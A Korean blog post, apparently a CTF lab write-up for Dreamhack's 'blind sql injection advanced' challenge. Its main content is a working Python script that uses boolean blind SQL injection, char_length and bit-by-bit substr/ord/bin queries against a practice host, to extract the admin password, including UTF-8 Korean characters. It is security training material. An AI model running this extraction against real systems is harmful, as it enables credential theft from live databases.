김승현
[Dreamhack : Web] blind sql injection advanced 본문
문제
앞선 강의에서도 나왔듯이 아스키코드와 UTF-8(한글)로 password가 구성되어 있다는 게 핵심인 것 같다.
풀이
접속해보면 생긴 건 저번과 같은 것 같다.
guest를 입력해보면 guest가 존재한다고 뜬다.
혹시나 저번처럼 error를 이용하면 될까 싶어서 저번에 error based sqli를 풀 때 사용한 코드를 입력해봤다.
역시 안 된다. 코드를 대충 훑어보자. (분석은 강의에서 했으니 중요한 거만 보고 넘어갑니다)
이 양식에 맞춰서 입력된 uid가 들어가는 것 같다.
이외엔 저번 문제와 코드가 비슷하다.
from requests import get
host = "http://host3.dreamhack.games:22052"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
강의에 있는 코드를 가져와서 했다... 코드를 이해하고 넘어가는 식으로 하려고 한다....어려워...
'Web > Dreamhack : Web' 카테고리의 다른 글
[Dreamhack : Web] sql injection bypass WAF advanced (0) | 2023.02.24 |
---|---|
[Dreamhack : Web] sql injection bypass WAF (0) | 2023.02.24 |
[Dreamhack : Web] error based sql injection (0) | 2023.02.24 |
[Dreamhack : Web] blind-command (0) | 2023.02.23 |
[Dreamhack : Web] Carve party (0) | 2023.02.23 |